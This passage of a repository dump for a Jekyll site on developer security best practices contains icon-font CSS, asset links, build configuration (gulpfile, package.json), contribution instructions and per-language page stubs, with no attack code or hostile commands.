url("./font-mfizz.svg#font-mfizz") format("svg"); 23 | font-weight: normal; 24 | font-style: normal; 25 | } 26 | 27 | @media screen and (-webkit-min-device-pixel-ratio:0) { 28 | @font-face { 29 | font-family: "FontMfizz"; 30 | src: url("./font-mfizz.svg#font-mfizz") format("svg"); 31 | } 32 | } 33 | 34 | [data-icon]:before { content: attr(data-icon); } 35 | 36 | [data-icon]:before, 37 | .icon-3dprint:before, 38 | .icon-alpinelinux:before, 39 | .icon-angular:before, 40 | .icon-angular-alt:before, 41 | .icon-antenna:before, 42 | .icon-apache:before, 43 | .icon-archlinux:before, 44 | .icon-aws:before, 45 | .icon-azure:before, 46 | .icon-backbone:before, 47 | .icon-blackberry:before, 48 | .icon-bomb:before, 49 | .icon-bootstrap:before, 50 | .icon-c:before, 51 | .icon-cassandra:before, 52 | .icon-centos:before, 53 | .icon-clojure:before, 54 | .icon-codeigniter:before, 55 | .icon-codepen:before, 56 | .icon-coffee-bean:before, 57 | .icon-cplusplus:before, 58 | .icon-csharp:before, 59 | .icon-css:before, 60 | .icon-css3:before, 61 | .icon-css3-alt:before, 62 | .icon-d3:before, 63 | .icon-database:before, 64 | .icon-database-alt:before, 65 | .icon-database-alt2:before, 66 | .icon-debian:before, 67 | .icon-docker:before, 68 | .icon-dreamhost:before, 69 | .icon-elixir:before, 70 | .icon-elm:before, 71 | .icon-erlang:before, 72 | .icon-exherbo:before, 73 | .icon-fedora:before, 74 | .icon-fire-alt:before, 75 | .icon-freebsd:before, 76 | .icon-freecodecamp:before, 77 | .icon-gentoo:before, 78 | .icon-ghost:before, 79 | .icon-git:before, 80 | .icon-gnome:before, 81 | .icon-go:before, 82 | .icon-go-alt:before, 83 | .icon-google:before, 84 | .icon-google-alt:before, 85 | .icon-google-code:before, 86 | .icon-google-developers:before, 87 | .icon-gradle:before, 88 | .icon-grails:before, 89 | .icon-grails-alt:before, 90 | .icon-grunt:before, 91 | .icon-gulp:before, 92 | .icon-gulp-alt:before, 93 | .icon-hadoop:before, 94 | .icon-haskell:before, 95 | .icon-heroku:before, 96 | .icon-html:before, 97 | .icon-html5:before, 98 | .icon-html5-alt:before, 99 | .icon-iphone:before, 100 | .icon-java:before, 101 | .icon-java-bold:before, 102 | .icon-java-duke:before, 103 | .icon-javascript:before, 104 | .icon-javascript-alt:before, 105 | .icon-jetty:before, 106 | .icon-jquery:before, 107 | .icon-kde:before, 108 | .icon-laravel:before, 109 | .icon-line-graph:before, 110 | .icon-linux-mint:before, 111 | .icon-looking:before, 112 | .icon-magento:before, 113 | .icon-mariadb:before, 114 | .icon-maven:before, 115 | .icon-microscope:before, 116 | .icon-mobile-device:before, 117 | .icon-mobile-phone-alt:before, 118 | .icon-mobile-phone-broadcast:before, 119 | .icon-mongodb:before, 120 | .icon-mssql:before, 121 | .icon-mysql:before, 122 | .icon-mysql-alt:before, 123 | .icon-netbsd:before, 124 | .icon-nginx:before, 125 | .icon-nginx-alt:before, 126 | .icon-nginx-alt2:before, 127 | .icon-nodejs:before, 128 | .icon-npm:before, 129 | .icon-objc:before, 130 | .icon-openshift:before, 131 | .icon-oracle:before, 132 | .icon-oracle-alt:before, 133 | .icon-osx:before, 134 | .icon-perl:before, 135 | .icon-phone-alt:before, 136 | .icon-phone-gap:before, 137 | .icon-phone-retro:before, 138 | .icon-php:before, 139 | .icon-php-alt:before, 140 | .icon-playframework:before, 141 | .icon-playframework-alt:before, 142 | .icon-plone:before, 143 | .icon-postgres:before, 144 | .icon-postgres-alt:before, 145 | .icon-python:before, 146 | .icon-raspberrypi:before, 147 | .icon-reactjs:before, 148 | .icon-redhat:before, 149 | .icon-redis:before, 150 | .icon-ruby:before, 151 | .icon-ruby-on-rails:before, 152 | .icon-ruby-on-rails-alt:before, 153 | .icon-rust:before, 154 | .icon-sass:before, 155 | .icon-satellite:before, 156 | .icon-scala:before, 157 | .icon-scala-alt:before, 158 | .icon-script:before, 159 | .icon-script-alt:before, 160 | .icon-shell:before, 161 | .icon-sitefinity:before, 162 | .icon-solaris:before, 163 | .icon-splatter:before, 164 | .icon-spring:before, 165 | .icon-suse:before, 166 | .icon-svg:before, 167 | .icon-symfony:before, 168 | .icon-tomcat:before, 169 | .icon-ubuntu:before, 170 | .icon-unity:before, 171 | .icon-wireless:before, 172 | .icon-wordpress:before, 173 | .icon-x11:before { 174 | display: inline-block; 175 | font-family: "FontMfizz"; 176 | font-style: normal; 177 | font-weight: normal; 178 | font-variant: normal; 179 | line-height: 1; 180 | text-decoration: inherit; 181 | text-rendering: optimizeLegibility; 182 | text-transform: none; 183 | -moz-osx-font-smoothing: grayscale; 184 | -webkit-font-smoothing: antialiased; 185 | font-smoothing: antialiased; 186 | } 187 | 188 | .icon-3dprint:before { content: "\f100"; } 189 | .icon-alpinelinux:before { content: "\f101"; } 190 | .icon-angular:before { content: "\f102"; } 191 | .icon-angular-alt:before { content: "\f103"; } 192 | .icon-antenna:before { content: "\f104"; } 193 | .icon-apache:before { content: "\f105"; } 194 | .icon-archlinux:before { content: "\f106"; } 195 | .icon-aws:before { content: "\f107"; } 196 | .icon-azure:before { content: "\f108"; } 197 | .icon-backbone:before { content: "\f109"; } 198 | .icon-blackberry:before { content: "\f10a"; } 199 | .icon-bomb:before { content: "\f10b"; } 200 | .icon-bootstrap:before { content: "\f10c"; } 201 | .icon-c:before { content: "\f10d"; } 202 | .icon-cassandra:before { content: "\f10e"; } 203 | .icon-centos:before { content: "\f10f"; } 204 | .icon-clojure:before { content: "\f110"; } 205 | .icon-codeigniter:before { content: "\f111"; } 206 | .icon-codepen:before { content: "\f112"; } 207 | .icon-coffee-bean:before { content: "\f113"; } 208 | .icon-cplusplus:before { content: "\f114"; } 209 | .icon-csharp:before { content: "\f115"; } 210 | .icon-css:before { content: "\f116"; } 211 | .icon-css3:before { content: "\f117"; } 212 | .icon-css3-alt:before { content: "\f118"; } 213 | .icon-d3:before { content: "\f119"; } 214 | .icon-database:before { content: "\f11a"; } 215 | .icon-database-alt:before { content: "\f11b"; } 216 | .icon-database-alt2:before { content: "\f11c"; } 217 | .icon-debian:before { content: "\f11d"; } 218 | .icon-docker:before { content: "\f11e"; } 219 | .icon-dreamhost:before { content: "\f11f"; } 220 | .icon-elixir:before { content: "\f120"; } 221 | .icon-elm:before { content: "\f121"; } 222 | .icon-erlang:before { content: "\f122"; } 223 | .icon-exherbo:before { content: "\f123"; } 224 | .icon-fedora:before { content: "\f124"; } 225 | .icon-fire-alt:before { content: "\f125"; } 226 | .icon-freebsd:before { content: "\f126"; } 227 | .icon-freecodecamp:before { content: "\f127"; } 228 | .icon-gentoo:before { content: "\f128"; } 229 | .icon-ghost:before { content: "\f129"; } 230 | .icon-git:before { content: "\f12a"; } 231 | .icon-gnome:before { content: "\f12b"; } 232 | .icon-go:before { content: "\f12c"; } 233 | .icon-go-alt:before { content: "\f12d"; } 234 | .icon-google:before { content: "\f12e"; } 235 | .icon-google-alt:before { content: "\f12f"; } 236 | .icon-google-code:before { content: "\f130"; } 237 | .icon-google-developers:before { content: "\f131"; } 238 | .icon-gradle:before { content: "\f132"; } 239 | .icon-grails:before { content: "\f133"; } 240 | .icon-grails-alt:before { content: "\f134"; } 241 | .icon-grunt:before { content: "\f135"; } 242 | .icon-gulp:before { content: "\f136"; } 243 | .icon-gulp-alt:before { content: "\f137"; } 244 | .icon-hadoop:before { content: "\f138"; } 245 | .icon-haskell:before { content: "\f139"; } 246 | .icon-heroku:before { content: "\f13a"; } 247 | .icon-html:before { content: "\f13b"; } 248 | .icon-html5:before { content: "\f13c"; } 249 | .icon-html5-alt:before { content: "\f13d"; } 250 | .icon-iphone:before { content: "\f13e"; } 251 | .icon-java:before { content: "\f13f"; } 252 | .icon-java-bold:before { content: "\f140"; } 253 | .icon-java-duke:before { content: "\f141"; } 254 | .icon-javascript:before { content: "\f142"; } 255 | .icon-javascript-alt:before { content: "\f143"; } 256 | .icon-jetty:before { content: "\f144"; } 257 | .icon-jquery:before { content: "\f145"; } 258 | .icon-kde:before { content: "\f146"; } 259 | .icon-laravel:before { content: "\f147"; } 260 | .icon-line-graph:before { content: "\f148"; } 261 | .icon-linux-mint:before { content: "\f149"; } 262 | .icon-looking:before { content: "\f14a"; } 263 | .icon-magento:before { content: "\f14b"; } 264 | .icon-mariadb:before { content: "\f14c"; } 265 | .icon-maven:before { content: "\f14d"; } 266 | .icon-microscope:before { content: "\f14e"; } 267 | .icon-mobile-device:before { content: "\f14f"; } 268 | .icon-mobile-phone-alt:before { content: "\f150"; } 269 | .icon-mobile-phone-broadcast:before { content: "\f151"; } 270 | .icon-mongodb:before { content: "\f152"; } 271 | .icon-mssql:before { content: "\f153"; } 272 | .icon-mysql:before { content: "\f154"; } 273 | .icon-mysql-alt:before { content: "\f155"; } 274 | .icon-netbsd:before { content: "\f156"; } 275 | .icon-nginx:before { content: "\f157"; } 276 | .icon-nginx-alt:before { content: "\f158"; } 277 | .icon-nginx-alt2:before { content: "\f159"; } 278 | .icon-nodejs:before { content: "\f15a"; } 279 | .icon-npm:before { content: "\f15b"; } 280 | .icon-objc:before { content: "\f15c"; } 281 | .icon-openshift:before { content: "\f15d"; } 282 | .icon-oracle:before { content: "\f15e"; } 283 | .icon-oracle-alt:before { content: "\f15f"; } 284 | .icon-osx:before { content: "\f160"; } 285 | .icon-perl:before { content: "\f161"; } 286 | .icon-phone-alt:before { content: "\f162"; } 287 | .icon-phone-gap:before { content: "\f163"; } 288 | .icon-phone-retro:before { content: "\f164"; } 289 | .icon-php:before { content: "\f165"; } 290 | .icon-php-alt:before { content: "\f166"; } 291 | .icon-playframework:before { content: "\f167"; } 292 | .icon-playframework-alt:before { content: "\f168"; } 293 | .icon-plone:before { content: "\f169"; } 294 | .icon-postgres:before { content: "\f16a"; } 295 | .icon-postgres-alt:before { content: "\f16b"; } 296 | .icon-python:before { content: "\f16c"; } 297 | .icon-raspberrypi:before { content: "\f16d"; } 298 | .icon-reactjs:before { content: "\f16e"; } 299 | .icon-redhat:before { content: "\f16f"; } 300 | .icon-redis:before { content: "\f170"; } 301 | .icon-ruby:before { content: "\f171"; } 302 | .icon-ruby-on-rails:before { content: "\f172"; } 303 | .icon-ruby-on-rails-alt:before { content: "\f173"; } 304 | .icon-rust:before { content: "\f174"; } 305 | .icon-sass:before { content: "\f175"; } 306 | .icon-satellite:before { content: "\f176"; } 307 | .icon-scala:before { content: "\f177"; } 308 | .icon-scala-alt:before { content: "\f178"; } 309 | .icon-script:before { content: "\f179"; } 310 | .icon-script-alt:before { content: "\f17a"; } 311 | .icon-shell:before { content: "\f17b"; } 312 | .icon-sitefinity:before { content: "\f17c"; } 313 | .icon-solaris:before { content: "\f17d"; } 314 | .icon-splatter:before { content: "\f17e"; } 315 | .icon-spring:before { content: "\f17f"; } 316 | .icon-suse:before { content: "\f180"; } 317 | .icon-svg:before { content: "\f181"; } 318 | .icon-symfony:before { content: "\f182"; } 319 | .icon-tomcat:before { content: "\f183"; } 320 | .icon-ubuntu:before { content: "\f184"; } 321 | .icon-unity:before { content: "\f185"; } 322 | .icon-wireless:before { content: "\f186"; } 323 | .icon-wordpress:before { content: "\f187"; } 324 | .icon-x11:before { content: "\f188"; } 325 | -------------------------------------------------------------------------------- /assets/font-mfizz.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.eot -------------------------------------------------------------------------------- /assets/font-mfizz.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.ttf -------------------------------------------------------------------------------- /assets/font-mfizz.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.woff -------------------------------------------------------------------------------- /assets/fonts/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/.DS_Store -------------------------------------------------------------------------------- /assets/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /assets/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-114x114.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-114x114.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-120x120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-120x120.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-144x144.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-144x144.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-152x152.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-152x152.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-57x57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-57x57.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-60x60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-60x60.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-72x72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-72x72.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon-76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-76x76.png -------------------------------------------------------------------------------- /assets/img/icons/apple-touch-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon.png -------------------------------------------------------------------------------- /assets/img/icons/favicon-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-16x16.png -------------------------------------------------------------------------------- /assets/img/icons/favicon-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-32x32.png -------------------------------------------------------------------------------- /assets/img/icons/favicon-64x64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-64x64.png -------------------------------------------------------------------------------- /assets/img/icons/largetile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/largetile.png -------------------------------------------------------------------------------- /assets/img/icons/mediumtile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/mediumtile.png -------------------------------------------------------------------------------- /assets/img/icons/smalltile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/smalltile.png -------------------------------------------------------------------------------- /assets/img/icons/widetile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/widetile.png -------------------------------------------------------------------------------- /assets/img/logo-cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc.png -------------------------------------------------------------------------------- /assets/img/logo-cc.svg: -------------------------------------------------------------------------------- 1 | 1CEC5C93-7CBE-4978-8123-5B1DFAA2DB6F -------------------------------------------------------------------------------- /assets/img/logo-cc@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc@2x.png -------------------------------------------------------------------------------- /assets/img/logo-cc@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc@3x.png -------------------------------------------------------------------------------- /assets/img/logo-codoms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms.png -------------------------------------------------------------------------------- /assets/img/logo-codoms.svg: -------------------------------------------------------------------------------- 1 | 2B498920-BFBC-4AB7-B411-23FB783EF561 -------------------------------------------------------------------------------- /assets/img/logo-codoms@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms@2x.png -------------------------------------------------------------------------------- /assets/img/logo-codoms@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms@3x.png -------------------------------------------------------------------------------- /assets/img/sharding-gerenciamento-usuarios/ajudando-carregar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/ajudando-carregar.jpg -------------------------------------------------------------------------------- /assets/img/sharding-gerenciamento-usuarios/carrega-sozinho.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/carrega-sozinho.jpg -------------------------------------------------------------------------------- /assets/img/sharding-gerenciamento-usuarios/daca-animada.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/daca-animada.gif -------------------------------------------------------------------------------- /assets/img/sharding-gerenciamento-usuarios/happy-scooby.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/happy-scooby.gif -------------------------------------------------------------------------------- /assets/img/sharding-gerenciamento-usuarios/servers.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/servers.gif -------------------------------------------------------------------------------- /assets/main.scss: -------------------------------------------------------------------------------- 1 | --- 2 | # Only the main Sass file needs front matter (the dashes are enough) 3 | --- 4 | @charset "utf-8"; 5 | 6 | // Our variables 7 | $base-font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; 8 | $base-font-size: 16px; 9 | $base-font-weight: 400; 10 | $small-font-size: $base-font-size * 0.875; 11 | $base-line-height: 1.5; 12 | 13 | $spacing-unit: 30px; 14 | 15 | $text-color: #111; 16 | $background-color: #fdfdfd; 17 | $brand-color: #2a7ae2; 18 | 19 | $grey-color: #828282; 20 | $grey-color-light: lighten($grey-color, 40%); 21 | $grey-color-dark: darken($grey-color, 25%); 22 | 23 | // Width of the content area 24 | $content-width: 800px; 25 | 26 | $on-palm: 600px; 27 | $on-laptop: 800px; 28 | 29 | // Minima also includes a mixin for defining media queries. 30 | // Use media queries like this: 31 | // @include media-query($on-palm) { 32 | // .wrapper { 33 | // padding-right: $spacing-unit / 2; 34 | // padding-left: $spacing-unit / 2; 35 | // } 36 | // } 37 | 38 | // Import partials from the `minima` theme. 39 | @import "minima"; 40 | -------------------------------------------------------------------------------- /contribute.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Contribute 3 | layout: page 4 | --- 5 | 6 | 7 | It's very easy to contribute to the database of good practices. All contributions are welcome, typo fix on the content, code cleaning in the example, CSS cleaning, adding a new language for a good practice or add a good practice, [there is always something you can contribute to!]({{site.github_url}}) 8 | 9 | # File architecture 10 | 11 | The actual content is in the directory `_practices`. Inside you have one directory for each practice. Inside you have a file named `LANGUAGE.md` for each language. You also have a directory named `_LANGUAGE` per language. 12 | 13 | ``` 14 | _practices 15 | └── timing-attack 16 | ├── _python 17 | │   ├── app.py 18 | │   ├── app.pyc 19 | │   ├── hack.py 20 | │   ├── requirements.txt 21 | │   ├── test.py 22 | │   └── venv 23 | ├── js.md 24 | └── python.md 25 | ``` 26 | 27 | # File format 28 | 29 | The content markdown file respect this format: 30 | 31 | ```markdown 32 | --- 33 | title: Example of practice 34 | language: Example of language 35 | --- 36 | 37 | Content starts here. 38 | ``` 39 | 40 | Content is jekyll collection, see [here](https://jekyllrb.com/docs/frontmatter/). 41 | 42 | # How to contribute? 43 | 44 | If you want to add content or fix content, just do a pull-request and we will try to review it and merge it asap. 45 | 46 | # Add a language for an existing practice 47 | 48 | If you want to add a new language for an existing practice, you can start by copying an existing language content for you language. Remember to change the language in the frontmatter block but keeps the same title. 49 | 50 | Also create a directory for this language if you have example of vulnerable code. 51 | 52 | # Add a new existing practice 53 | 54 | If you want to add a new practice, create a directory for this practice in `_libs`. In this new repository, copy the template located in `_libs/_template.md` and name it `LANGUAGE.md`. Then add a directory named `_LANGUAGE` if you have vulnerable code to share. 55 | -------------------------------------------------------------------------------- /gulpfile.js: -------------------------------------------------------------------------------- 1 | var gulp = require('gulp'), 2 | plumber = require('gulp-plumber'), 3 | stylus = require('gulp-stylus'), 4 | uglify = require('gulp-uglify'), 5 | concat = require('gulp-concat'), 6 | jeet = require('jeet'), 7 | rupture = require('rupture'), 8 | koutoSwiss = require('kouto-swiss'), 9 | prefixer = require('autoprefixer-stylus'), 10 | imagemin = require('gulp-imagemin'), 11 | cp = require('child_process'); 12 | 13 | var messages = { 14 | jekyllBuild: 'Running: $ jekyll build' 15 | }; 16 | 17 | /** 18 | * Stylus task 19 | */ 20 | gulp.task('stylus', function(){ 21 | gulp.src('src/styl/main.styl') 22 | .pipe(plumber()) 23 | .pipe(stylus({ 24 | use:[koutoSwiss(), prefixer(), jeet(),rupture()], 25 | compress: true 26 | })) 27 | .pipe(gulp.dest('_site/assets/css/')) 28 | .pipe(gulp.dest('assets/css')); 29 | }); 30 | 31 | /** 32 | * Javascript Task 33 | */ 34 | gulp.task('js', function(){ 35 | return gulp.src('src/js/**/*.js') 36 | .pipe(plumber()) 37 | .pipe(concat('main.js')) 38 | .pipe(uglify()) 39 | .pipe(gulp.dest('assets/js/')) 40 | .pipe(gulp.dest('_site/assets/js/')); 41 | }); 42 | 43 | /** 44 | * Imagemin Task 45 | */ 46 | gulp.task('imagemin', function() { 47 | return gulp.src('src/img/**/*.{jpg,png,gif,svg}') 48 | .pipe(plumber()) 49 | .pipe(imagemin({ optimizationLevel: 3, progressive: true, interlaced: true })) 50 | .pipe(gulp.dest('assets/img/')); 51 | }); 52 | 53 | /** 54 | * Watch stylus files for changes & recompile 55 | * Watch html/md files, run jekyll & reload BrowserSync 56 | */ 57 | gulp.task('watch', function () { 58 | gulp.watch('src/styl/**/*.styl', ['stylus']); 59 | gulp.watch('src/js/**/*.js', ['js']); 60 | gulp.watch('src/img/**/*.{jpg,png,gif,svg}', ['imagemin']); 61 | }); 62 | 63 | /** 64 | * Default task, running just `gulp` will compile the stylus, 65 | * compile the jekyll site, launch BrowserSync & watch files. 66 | */ 67 | gulp.task('default', ['js', 'stylus', 'imagemin', 'watch']); 68 | -------------------------------------------------------------------------------- /index.md: -------------------------------------------------------------------------------- 1 | --- 2 | # You don't need to edit this file, it's empty on purpose. 3 | # Edit theme's home layout instead if you wanna make some changes 4 | # See: https://jekyllrb.com/docs/themes/#overriding-theme-defaults 5 | layout: home 6 | --- 7 | -------------------------------------------------------------------------------- /local.sh: -------------------------------------------------------------------------------- 1 | bundle exec jekyll serve --baseurl '' 2 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "victorigortemplate", 3 | "version": "1.0.0", 4 | "description": "My jekyll blog template.", 5 | "main": "gulpfile.js", 6 | "scripts": { 7 | "test": "test" 8 | }, 9 | "keywords": [ 10 | "frontend", 11 | "blog", 12 | "css", 13 | "stylus", 14 | "gulp", 15 | "jekyll", 16 | "js" 17 | ], 18 | "author": "Victor Igor", 19 | "license": "ISC", 20 | "devDependencies": { 21 | "autoprefixer-stylus": "^0.4.0", 22 | "browser-sync": "^1.9.0", 23 | "grunt": "^0.4.5", 24 | "gulp": "^3.8.10", 25 | "gulp-concat": "^2.4.3", 26 | "gulp-imagemin": "^2.1.0", 27 | "gulp-plumber": "^0.6.6", 28 | "gulp-stylus": "^1.3.7", 29 | "gulp-uglify": "^1.0.2" 30 | }, 31 | "dependencies": { 32 | "jeet": "^6.1.4", 33 | "kouto-swiss": "^0.11.14", 34 | "rupture": "^0.6.1" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /pages/c.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /c 4 | language: c 5 | --- 6 | -------------------------------------------------------------------------------- /pages/clojure.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /clojure 4 | language: clojure 5 | --- 6 | -------------------------------------------------------------------------------- /pages/cplusplus.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /cplusplus 4 | language: cplusplus 5 | --- 6 | -------------------------------------------------------------------------------- /pages/csharp.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /csharp 4 | language: csharp 5 | --- 6 | -------------------------------------------------------------------------------- /pages/erlang.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /erlang 4 | language: erlang 5 | --- 6 | -------------------------------------------------------------------------------- /pages/go.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /go 4 | language: go 5 | --- 6 | -------------------------------------------------------------------------------- /pages/haskell.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /haskell 4 | language: haskell 5 | --- 6 | -------------------------------------------------------------------------------- /pages/java.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /java 4 | language: java 5 | --- 6 | -------------------------------------------------------------------------------- /pages/nodejs.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /nodejs 4 | language: nodejs 5 | --- 6 | -------------------------------------------------------------------------------- /pages/objc.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /objc 4 | language: objc 5 | --- 6 | -------------------------------------------------------------------------------- /pages/perl.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /perl 4 | language: perl 5 | --- 6 | -------------------------------------------------------------------------------- /pages/php.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /php 4 | language: php 5 | --- 6 | -------------------------------------------------------------------------------- /pages/python.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /python 4 | language: python 5 | --- 6 | -------------------------------------------------------------------------------- /pages/ruby.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /ruby 4 | language: ruby 5 | --- 6 | -------------------------------------------------------------------------------- /pages/rust.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /rust 4 | language: rust 5 | --- 6 | -------------------------------------------------------------------------------- /pages/scala.html: 